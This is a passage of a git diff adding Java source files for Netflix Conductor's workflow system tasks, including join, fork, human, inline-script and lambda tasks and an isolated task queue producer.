task.getTaskId()); + queue.ack(List.of(message)); + } + + @VisibleForTesting + String computeQueueName(WorkflowModel workflow, TaskModel task) { + String sinkValueRaw = (String) task.getInputData().get("sink"); + Map input = new HashMap<>(); + input.put("sink", sinkValueRaw); + Map replaced = + parametersUtils.getTaskInputV2(input, workflow, task.getTaskId(), null); + String sinkValue = (String) replaced.get("sink"); + String queueName = sinkValue; + + if (sinkValue.startsWith("conductor")) { + if ("conductor".equals(sinkValue)) { + queueName = + sinkValue + + ":" + + workflow.getWorkflowName() + + ":" + + task.getReferenceTaskName(); + } else if (sinkValue.startsWith("conductor:")) { + queueName = + "conductor:" + + workflow.getWorkflowName() + + ":" + + sinkValue.replaceAll("conductor:", ""); + } else { + throw new IllegalStateException( + "Invalid / Unsupported sink specified: " + sinkValue); + } + } + return queueName; + } + + @VisibleForTesting + ObservableQueue getQueue(String queueName, String taskId) { + try { + return eventQueues.getQueue(queueName); + } catch (IllegalArgumentException e) { + throw new IllegalStateException( + "Error loading queue:" + + queueName + + ", for task:" + + taskId + + ", error: " + + e.getMessage()); + } catch (Exception e) { + throw new NonTransientException("Unable to find queue name for task " + taskId); + } + } + + Message getPopulatedMessage(TaskModel task) throws JsonProcessingException { + String payloadJson = objectMapper.writeValueAsString(task.getOutputData()); + return new Message(task.getTaskId(), payloadJson, task.getTaskId()); + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/tasks/ExclusiveJoin.java b/core/src/main/java/com/netflix/conductor/core/execution/tasks/ExclusiveJoin.java new file mode 100644 index 0000000..9800eb4 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/tasks/ExclusiveJoin.java @@ -0,0 +1,137 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.tasks; + +import java.util.List; +import java.util.stream.Collectors; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.common.utils.TaskUtils; +import com.netflix.conductor.core.execution.WorkflowExecutor; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_EXCLUSIVE_JOIN; + +@Component(TASK_TYPE_EXCLUSIVE_JOIN) +public class ExclusiveJoin extends WorkflowSystemTask { + + private static final Logger LOGGER = LoggerFactory.getLogger(ExclusiveJoin.class); + + private static final String DEFAULT_EXCLUSIVE_JOIN_TASKS = "defaultExclusiveJoinTask"; + + public ExclusiveJoin() { + super(TASK_TYPE_EXCLUSIVE_JOIN); + } + + @Override + @SuppressWarnings("unchecked") + public boolean execute( + WorkflowModel workflow, TaskModel task, WorkflowExecutor workflowExecutor) { + + boolean foundExlusiveJoinOnTask = false; + boolean hasFailures = false; + StringBuilder failureReason = new StringBuilder(); + TaskModel.Status taskStatus; + List joinOn = (List) task.getInputData().get("joinOn"); + if (task.isLoopOverTask()) { + // If exclusive join is part of loop over task, wait for specific iteration to get + // complete + joinOn = + joinOn.stream() + .map(name -> TaskUtils.appendIteration(name, task.getIteration())) + .collect(Collectors.toList()); + } + TaskModel exclusiveTask = null; + for (String joinOnRef : joinOn) { + LOGGER.debug("Exclusive Join On Task {} ", joinOnRef); + exclusiveTask = workflow.getTaskByRefName(joinOnRef); + if (exclusiveTask == null || exclusiveTask.getStatus() == TaskModel.Status.SKIPPED) { + LOGGER.debug("The task {} is either not scheduled or skipped.", joinOnRef); + continue; + } + taskStatus = exclusiveTask.getStatus(); + foundExlusiveJoinOnTask = taskStatus.isTerminal(); + hasFailures = + !taskStatus.isSuccessful() + && (!exclusiveTask.getWorkflowTask().isPermissive() + || joinOn.stream() + .map(workflow::getTaskByRefName) + .allMatch(t -> t.getStatus().isTerminal())); + if (hasFailures) { + final String failureReasons = + joinOn.stream() + .map(workflow::getTaskByRefName) + .filter(t -> !t.getStatus().isSuccessful()) + .map(TaskModel::getReasonForIncompletion) + .collect(Collectors.joining(" ")); + failureReason.append(failureReasons); + } + + break; + } + + if (!foundExlusiveJoinOnTask) { + List defaultExclusiveJoinTasks = + (List) task.getInputData().get(DEFAULT_EXCLUSIVE_JOIN_TASKS); + LOGGER.info( + "Could not perform exclusive on Join Task(s). Performing now on default exclusive join task(s) {}, workflow: {}", + defaultExclusiveJoinTasks, + workflow.getWorkflowId()); + if (defaultExclusiveJoinTasks != null && !defaultExclusiveJoinTasks.isEmpty()) { + for (String defaultExclusiveJoinTask : defaultExclusiveJoinTasks) { + // Pick the first task that we should join on and break. + exclusiveTask = workflow.getTaskByRefName(defaultExclusiveJoinTask); + if (exclusiveTask == null + || exclusiveTask.getStatus() == TaskModel.Status.SKIPPED) { + LOGGER.debug( + "The task {} is either not scheduled or skipped.", + defaultExclusiveJoinTask); + continue; + } + + taskStatus = exclusiveTask.getStatus(); + foundExlusiveJoinOnTask = taskStatus.isTerminal(); + hasFailures = !taskStatus.isSuccessful(); + if (hasFailures) { + failureReason.append(exclusiveTask.getReasonForIncompletion()).append(" "); + } + break; + } + } else { + LOGGER.debug( + "Could not evaluate last tasks output. Verify the task configuration in the workflow definition."); + } + } + + LOGGER.debug( + "Status of flags: foundExlusiveJoinOnTask: {}, hasFailures {}", + foundExlusiveJoinOnTask, + hasFailures); + if (foundExlusiveJoinOnTask || hasFailures) { + if (hasFailures) { + task.setReasonForIncompletion(failureReason.toString()); + task.setStatus(TaskModel.Status.FAILED); + } else { + task.setOutputData(exclusiveTask.getOutputData()); + task.setStatus(TaskModel.Status.COMPLETED); + } + LOGGER.debug("Task: {} status is: {}", task.getTaskId(), task.getStatus()); + return true; + } + return false; + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/tasks/ExecutionConfig.java b/core/src/main/java/com/netflix/conductor/core/execution/tasks/ExecutionConfig.java new file mode 100644 index 0000000..0f1a996 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/tasks/ExecutionConfig.java @@ -0,0 +1,44 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.tasks; + +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Executors; + +import org.apache.commons.lang3.concurrent.BasicThreadFactory; + +import com.netflix.conductor.core.utils.SemaphoreUtil; + +class ExecutionConfig { + + private final ExecutorService executorService; + private final SemaphoreUtil semaphoreUtil; + + ExecutionConfig(int threadCount, String threadNameFormat) { + + this.executorService = + Executors.newFixedThreadPool( + threadCount, + new BasicThreadFactory.Builder().namingPattern(threadNameFormat).build()); + + this.semaphoreUtil = new SemaphoreUtil(threadCount); + } + + public ExecutorService getExecutorService() { + return executorService; + } + + public SemaphoreUtil getSemaphoreUtil() { + return semaphoreUtil; + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/tasks/Fork.java b/core/src/main/java/com/netflix/conductor/core/execution/tasks/Fork.java new file mode 100644 index 0000000..6d7ddf7 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/tasks/Fork.java @@ -0,0 +1,25 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.tasks; + +import org.springframework.stereotype.Component; + +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_FORK; + +@Component(TASK_TYPE_FORK) +public class Fork extends WorkflowSystemTask { + + public Fork() { + super(TASK_TYPE_FORK); + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/tasks/Human.java b/core/src/main/java/com/netflix/conductor/core/execution/tasks/Human.java new file mode 100644 index 0000000..1552865 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/tasks/Human.java @@ -0,0 +1,40 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.tasks; + +import org.springframework.stereotype.Component; + +import com.netflix.conductor.core.execution.WorkflowExecutor; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_HUMAN; +import static com.netflix.conductor.model.TaskModel.Status.IN_PROGRESS; + +@Component(TASK_TYPE_HUMAN) +public class Human extends WorkflowSystemTask { + + public Human() { + super(TASK_TYPE_HUMAN); + } + + @Override + public void start(WorkflowModel workflow, TaskModel task, WorkflowExecutor workflowExecutor) { + task.setStatus(IN_PROGRESS); + } + + @Override + public void cancel(WorkflowModel workflow, TaskModel task, WorkflowExecutor workflowExecutor) { + task.setStatus(TaskModel.Status.CANCELED); + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/tasks/Inline.java b/core/src/main/java/com/netflix/conductor/core/execution/tasks/Inline.java new file mode 100644 index 0000000..be3d795 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/tasks/Inline.java @@ -0,0 +1,125 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.tasks; + +import java.util.Map; + +import org.apache.commons.lang3.StringUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.core.exception.TerminateWorkflowException; +import com.netflix.conductor.core.execution.WorkflowExecutor; +import com.netflix.conductor.core.execution.evaluators.Evaluator; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_INLINE; + +// @formatter:off +/** + * @author X-Ultra + *

    Task that enables execute inline script at workflow execution. + *

    Example: { "tasks": [ { "name": "INLINE", "taskReferenceName": "inline_test", "type": + * "INLINE", "inputParameters": { "input": "${workflow.input}", "evaluatorType": "javascript", + * "expression": "if ($.input.a==1){return {testvalue: true}} else{return {testvalue: false} }" + * } } ] } + *

    The evaluatorType parameter is optional and defaults to "javascript" for backward + * compatibility. Supported values include: - "javascript" - JavaScript evaluation using GraalJS + * engine (default) - "graaljs" - Explicit GraalJS evaluation (same as "javascript") - "python" + * - Python evaluation using GraalVM Python + *

    To use task output, reference it as script_test.output.testvalue This is a replacement for + * the deprecated Lambda task. + */ +// @formatter:on +@Component(TASK_TYPE_INLINE) +public class Inline extends WorkflowSystemTask { + + private static final Logger LOGGER = LoggerFactory.getLogger(Inline.class); + private static final String QUERY_EVALUATOR_TYPE = "evaluatorType"; + private static final String QUERY_EXPRESSION_PARAMETER = "expression"; + public static final String NAME = "INLINE"; + + private final Map evaluators; + + public Inline(Map evaluators) { + super(TASK_TYPE_INLINE); + this.evaluators = evaluators; + } + + @Override + public boolean execute( + WorkflowModel workflow, TaskModel task, WorkflowExecutor workflowExecutor) { + Map taskInput = task.getInputData(); + // Get evaluatorType, default to "javascript" for backward compatibility if missing + String evaluatorType = (String) taskInput.get(QUERY_EVALUATOR_TYPE); + if (evaluatorType == null) { + evaluatorType = "javascript"; + } + String expression = (String) taskInput.get(QUERY_EXPRESSION_PARAMETER); + + try { + checkEvaluatorType(evaluatorType); + checkExpression(expression); + Evaluator evaluator = evaluators.get(evaluatorType); + Object evalResult = evaluator.evaluate(expression, taskInput); + task.addOutput("result", evalResult); + task.setStatus(TaskModel.Status.COMPLETED); + } catch (Exception e) { + String errorMessage = e.getCause() != null ? e.getCause().getMessage() : e.getMessage(); + LOGGER.error( + "Failed to execute Inline Task: {} in workflow: {}", + task.getTaskId(), + workflow.getWorkflowId(), + e); + // TerminateWorkflowException is thrown when the script evaluation fails + // Retry will result in the same error, so FAILED_WITH_TERMINAL_ERROR status is used. + task.setStatus( + e instanceof TerminateWorkflowException + ? TaskModel.Status.FAILED_WITH_TERMINAL_ERROR + : TaskModel.Status.FAILED); + task.setReasonForIncompletion(errorMessage); + task.addOutput("error", errorMessage); + } + + return true; + } + + private void checkEvaluatorType(String evaluatorType) { + // evaluatorType is now optional with "javascript" as default, but must not be blank if + // provided + if (StringUtils.isBlank(evaluatorType)) { + LOGGER.error("Empty {} in INLINE task. ", QUERY_EVALUATOR_TYPE); + throw new TerminateWorkflowException( + "Empty '" + + QUERY_EVALUATOR_TYPE + + "' in INLINE task's input parameters. A non-empty String value must be provided."); + } + if (evaluators.get(evaluatorType) == null) { + LOGGER.error("Evaluator {} for INLINE task not registered", evaluatorType); + throw new TerminateWorkflowException( + "Unknown evaluator '" + evaluatorType + "' in INLINE task."); + } + } + + private void checkExpression(String expression) { + if (StringUtils.isBlank(expression)) { + LOGGER.error("Empty {} in INLINE task. ", QUERY_EXPRESSION_PARAMETER); + throw new TerminateWorkflowException( + "Empty '" + + QUERY_EXPRESSION_PARAMETER + + "' in Inline task's input parameters. A non-empty String value must be provided."); + } + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/tasks/IsolatedTaskQueueProducer.java b/core/src/main/java/com/netflix/conductor/core/execution/tasks/IsolatedTaskQueueProducer.java new file mode 100644 index 0000000..9ac9b4b --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/tasks/IsolatedTaskQueueProducer.java @@ -0,0 +1,121 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.tasks; + +import java.time.Duration; +import java.util.Collections; +import java.util.HashSet; +import java.util.List; +import java.util.Set; +import java.util.concurrent.Executors; +import java.util.concurrent.TimeUnit; +import java.util.stream.Collectors; + +import org.apache.commons.lang3.StringUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Qualifier; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.annotations.VisibleForTesting; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.core.utils.QueueUtils; +import com.netflix.conductor.service.MetadataService; + +import static com.netflix.conductor.core.execution.tasks.SystemTaskRegistry.ASYNC_SYSTEM_TASKS_QUALIFIER; + +@Component +@ConditionalOnProperty( + name = "conductor.system-task-workers.enabled", + havingValue = "true", + matchIfMissing = true) +public class IsolatedTaskQueueProducer { + + private static final Logger LOGGER = LoggerFactory.getLogger(IsolatedTaskQueueProducer.class); + private final MetadataService metadataService; + private final Set asyncSystemTasks; + private final SystemTaskWorker systemTaskWorker; + + private final Set listeningQueues = new HashSet<>(); + + public IsolatedTaskQueueProducer( + MetadataService metadataService, + @Qualifier(ASYNC_SYSTEM_TASKS_QUALIFIER) Set asyncSystemTasks, + SystemTaskWorker systemTaskWorker, + @Value("${conductor.app.isolatedSystemTaskEnabled:false}") + boolean isolatedSystemTaskEnabled, + @Value("${conductor.app.isolatedSystemTaskQueuePollInterval:10s}") + Duration isolatedSystemTaskQueuePollInterval) { + + this.metadataService = metadataService; + this.asyncSystemTasks = asyncSystemTasks; + this.systemTaskWorker = systemTaskWorker; + + if (isolatedSystemTaskEnabled) { + LOGGER.info("Listening for isolation groups"); + + Executors.newSingleThreadScheduledExecutor() + .scheduleWithFixedDelay( + this::addTaskQueues, + 1000, + isolatedSystemTaskQueuePollInterval.toMillis(), + TimeUnit.MILLISECONDS); + } else { + LOGGER.info("Isolated System Task Worker DISABLED"); + } + } + + private Set getIsolationExecutionNameSpaces() { + Set isolationExecutionNameSpaces = Collections.emptySet(); + try { + List taskDefs = metadataService.getTaskDefs(); + isolationExecutionNameSpaces = + taskDefs.stream() + .filter( + taskDef -> + StringUtils.isNotBlank(taskDef.getIsolationGroupId()) + || StringUtils.isNotBlank( + taskDef.getExecutionNameSpace())) + .collect(Collectors.toSet()); + } catch (RuntimeException e) { + LOGGER.error( + "Unknown exception received in getting isolation groups, sleeping and retrying", + e); + } + return isolationExecutionNameSpaces; + } + + @VisibleForTesting + void addTaskQueues() { + Set isolationTaskDefs = getIsolationExecutionNameSpaces(); + LOGGER.debug("Retrieved queues {}", isolationTaskDefs); + + for (TaskDef isolatedTaskDef : isolationTaskDefs) { + for (WorkflowSystemTask systemTask : this.asyncSystemTasks) { + String taskQueue = + QueueUtils.getQueueName( + systemTask.getTaskType(), + null, + isolatedTaskDef.getIsolationGroupId(), + isolatedTaskDef.getExecutionNameSpace()); + LOGGER.debug("Adding taskQueue:'{}' to system task worker coordinator", taskQueue); + if (!listeningQueues.contains(taskQueue)) { + systemTaskWorker.startPolling(systemTask, taskQueue); + listeningQueues.add(taskQueue); + } + } + } + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/tasks/Join.java b/core/src/main/java/com/netflix/conductor/core/execution/tasks/Join.java new file mode 100644 index 0000000..f1b6c37 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/tasks/Join.java @@ -0,0 +1,205 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.tasks; + +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; +import java.util.Objects; +import java.util.Optional; +import java.util.Set; +import java.util.stream.Collectors; + +import org.springframework.stereotype.Component; + +import com.netflix.conductor.annotations.VisibleForTesting; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.common.utils.TaskUtils; +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.core.execution.WorkflowExecutor; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_JOIN; + +@Component(TASK_TYPE_JOIN) +public class Join extends WorkflowSystemTask { + + @VisibleForTesting static final double EVALUATION_OFFSET_BASE = 1.2; + + /** + * Marker key present in an AgentSpan agent execution's workflow input/variables. When set, the + * embedded AgentSpan runtime owns the workflow and the JOIN output is kept compact (see {@link + * #AGENT_PROPAGATED_KEYS}). + */ + private static final String AGENTSPAN_CTX = "__agentspan_ctx__"; + + /** + * Keys propagated from fork-branch outputs into the JOIN output for AgentSpan agent executions. + * Only these are copied so the JOIN payload stays small for multi-agent merges — full fork + * outputs are read directly from the individual tool tasks by the agent message builder, so + * duplicating them in JOIN is unnecessary. This mirrors AgentSpan's own JOIN task; for + * non-agent workflows the full fork output is copied as before. + */ + private static final Set AGENT_PROPAGATED_KEYS = Set.of("_state_updates", "state"); + + private final ConductorProperties properties; + + public Join(ConductorProperties properties) { + super(TASK_TYPE_JOIN); + this.properties = properties; + } + + @Override + @SuppressWarnings("unchecked") + public boolean execute( + WorkflowModel workflow, TaskModel task, WorkflowExecutor workflowExecutor) { + StringBuilder failureReason = new StringBuilder(); + StringBuilder optionalTaskFailures = new StringBuilder(); + boolean agentExecution = isAgentExecution(workflow); + List joinOn = (List) task.getInputData().get("joinOn"); + if (task.isLoopOverTask()) { + // If join is part of loop over task, wait for specific iteration to get complete + joinOn = + joinOn.stream() + .map(name -> TaskUtils.appendIteration(name, task.getIteration())) + .toList(); + } + + boolean allTasksTerminal = + joinOn.stream() + .map(workflow::getTaskByRefName) + .allMatch(t -> t != null && t.getStatus().isTerminal()); + + for (String joinOnRef : joinOn) { + TaskModel forkedTask = workflow.getTaskByRefName(joinOnRef); + if (forkedTask == null) { + // Continue checking other tasks if a referenced task is not yet scheduled + continue; + } + + TaskModel.Status taskStatus = forkedTask.getStatus(); + + // Only add to task output if it's not empty. For AgentSpan agent executions, copy + // only the agent merge keys (compact) to keep the JOIN payload small; otherwise copy + // the full fork output (default Conductor behavior). + if (!forkedTask.getOutputData().isEmpty()) { + if (agentExecution) { + Map compact = compactAgentOutput(forkedTask.getOutputData()); + if (!compact.isEmpty()) { + task.addOutput(joinOnRef, compact); + } + } else { + task.addOutput(joinOnRef, forkedTask.getOutputData()); + } + } + + // Determine if the join task fails immediately due to a non-optional, non-permissive + // task failure, + // or waits for all tasks to be terminal if the failed task is permissive. + var isJoinFailure = + !taskStatus.isSuccessful() + && !forkedTask.getWorkflowTask().isOptional() + && (!forkedTask.getWorkflowTask().isPermissive() || allTasksTerminal); + if (isJoinFailure) { + final String failureReasons = + joinOn.stream() + .map(workflow::getTaskByRefName) + .filter(Objects::nonNull) + .filter(t -> !t.getStatus().isSuccessful()) + .map(TaskModel::getReasonForIncompletion) + .collect(Collectors.joining(" ")); + failureReason.append(failureReasons); + task.setReasonForIncompletion(failureReason.toString()); + task.setStatus(TaskModel.Status.FAILED); + return true; + } + + // check for optional task failures + if (forkedTask.getWorkflowTask().isOptional() + && taskStatus == TaskModel.Status.COMPLETED_WITH_ERRORS) { + optionalTaskFailures + .append( + String.format( + "%s/%s", + forkedTask.getTaskDefName(), forkedTask.getTaskId())) + .append(" "); + } + } + + // Finalize the join task's status based on the outcomes of all referenced tasks. + if (allTasksTerminal) { + if (!optionalTaskFailures.isEmpty()) { + task.setStatus(TaskModel.Status.COMPLETED_WITH_ERRORS); + optionalTaskFailures.append("completed with errors"); + task.setReasonForIncompletion(optionalTaskFailures.toString()); + } else { + task.setStatus(TaskModel.Status.COMPLETED); + } + return true; + } + + // Task execution not complete, waiting on more tasks to reach terminal state. + return false; + } + + /** + * True when this workflow is an embedded AgentSpan agent execution, detected via the {@code + * __agentspan_ctx__} marker on the workflow input or variables. Inert for all other workflows. + */ + private static boolean isAgentExecution(WorkflowModel workflow) { + return (workflow.getInput() != null && workflow.getInput().containsKey(AGENTSPAN_CTX)) + || (workflow.getVariables() != null + && workflow.getVariables().containsKey(AGENTSPAN_CTX)); + } + + /** Returns a copy of {@code output} containing only {@link #AGENT_PROPAGATED_KEYS}. */ + private static Map compactAgentOutput(Map output) { + Map compact = new LinkedHashMap<>(); + if (output != null) { + for (String key : AGENT_PROPAGATED_KEYS) { + if (output.containsKey(key)) { + compact.put(key, output.get(key)); + } + } + } + return compact; + } + + @Override + public Optional getEvaluationOffset(TaskModel taskModel, long maxOffset) { + // Check if joinMode is set to SYNC — read directly from the workflow task definition + // rather than from input data so the value is never duplicated into the task's payload. + WorkflowTask workflowTask = taskModel.getWorkflowTask(); + if (workflowTask != null && WorkflowTask.JoinMode.SYNC == workflowTask.getJoinMode()) { + // Synchronous mode: evaluate immediately every time (no backoff) + return Optional.of(0L); + } + + // Asynchronous mode (default): use exponential backoff + int pollCount = taskModel.getPollCount(); + // Assuming pollInterval = 50ms and evaluationOffsetThreshold = 200 this will cause + // a JOIN task to be evaluated continuously during the first 10 seconds and the FORK/JOIN + // will end with minimal delay. + if (pollCount <= properties.getSystemTaskPostponeThreshold()) { + return Optional.of(0L); + } + + double exp = pollCount - properties.getSystemTaskPostponeThreshold(); + return Optional.of(Math.min((long) Math.pow(EVALUATION_OFFSET_BASE, exp), maxOffset)); + } + + public boolean isAsync() { + return true; + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/tasks/Lambda.java b/core/src/main/java/com/netflix/conductor/core/execution/tasks/Lambda.java new file mode 100644 index 0000000..8df7926 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/tasks/Lambda.java @@ -0,0 +1,104 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.tasks; + +import java.util.Map; + +import org.apache.commons.lang3.StringUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.core.events.ScriptEvaluator; +import com.netflix.conductor.core.execution.WorkflowExecutor; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_LAMBDA; + +/** + * @author X-Ultra + *

    Task that enables execute Lambda script at workflow execution, For example, + * 

    + * ...
+ * {
+ *  "tasks": [
+ *      {
+ *          "name": "LAMBDA",
+ *          "taskReferenceName": "lambda_test",
+ *          "type": "LAMBDA",
+ *          "inputParameters": {
+ *              "input": "${workflow.input}",
+ *              "scriptExpression": "if ($.input.a==1){return {testvalue: true}} else{return {testvalue: false} }"
+ *          }
+ *      }
+ *  ]
+ * }
+ * ...
+ *
    + * then to use task output, e.g. script_test.output.testvalue + * @deprecated {@link Lambda} is deprecated. Use {@link Inline} task for inline expression + * evaluation. Also see ${@link com.netflix.conductor.common.metadata.workflow.WorkflowTask}) + */ +@Deprecated +@Component(TASK_TYPE_LAMBDA) +public class Lambda extends WorkflowSystemTask { + + private static final Logger LOGGER = LoggerFactory.getLogger(Lambda.class); + private static final String QUERY_EXPRESSION_PARAMETER = "scriptExpression"; + public static final String NAME = "LAMBDA"; + + public Lambda() { + super(TASK_TYPE_LAMBDA); + } + + @Override + public boolean execute( + WorkflowModel workflow, TaskModel task, WorkflowExecutor workflowExecutor) { + Map taskInput = task.getInputData(); + String scriptExpression; + try { + scriptExpression = (String) taskInput.get(QUERY_EXPRESSION_PARAMETER); + if (StringUtils.isNotBlank(scriptExpression)) { + String scriptExpressionBuilder = + "function scriptFun(){" + scriptExpression + "} scriptFun();"; + + LOGGER.debug( + "scriptExpressionBuilder: {}, task: {}", + scriptExpressionBuilder, + task.getTaskId()); + Object returnValue = ScriptEvaluator.eval(scriptExpressionBuilder, taskInput); + task.addOutput("result", returnValue); + task.setStatus(TaskModel.Status.COMPLETED); + } else { + LOGGER.error("Empty {} in Lambda task. ", QUERY_EXPRESSION_PARAMETER); + task.setReasonForIncompletion( + "Empty '" + + QUERY_EXPRESSION_PARAMETER + + "' in Lambda task's input parameters. A non-empty String value must be provided."); + task.setStatus(TaskModel.Status.FAILED); + } + } catch (Exception e) { + LOGGER.error( + "Failed to execute Lambda Task: {} in workflow: {}", + task.getTaskId(), + workflow.getWorkflowId(), + e); + task.setStatus(TaskModel.Status.FAILED); + task.setReasonForIncompletion(e.getMessage()); + task.addOutput( + "error", e.getCause() != null ? e.getCause().getMessage() : e.getMessage()); + } + return true; + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/tasks/Noop.java b/core/src/main/java/com/netflix/conductor/core/execution/tasks/Noop.java new file mode 100644 index 0000000..49e6083 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/tasks/Noop.java @@ -0,0 +1,36 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

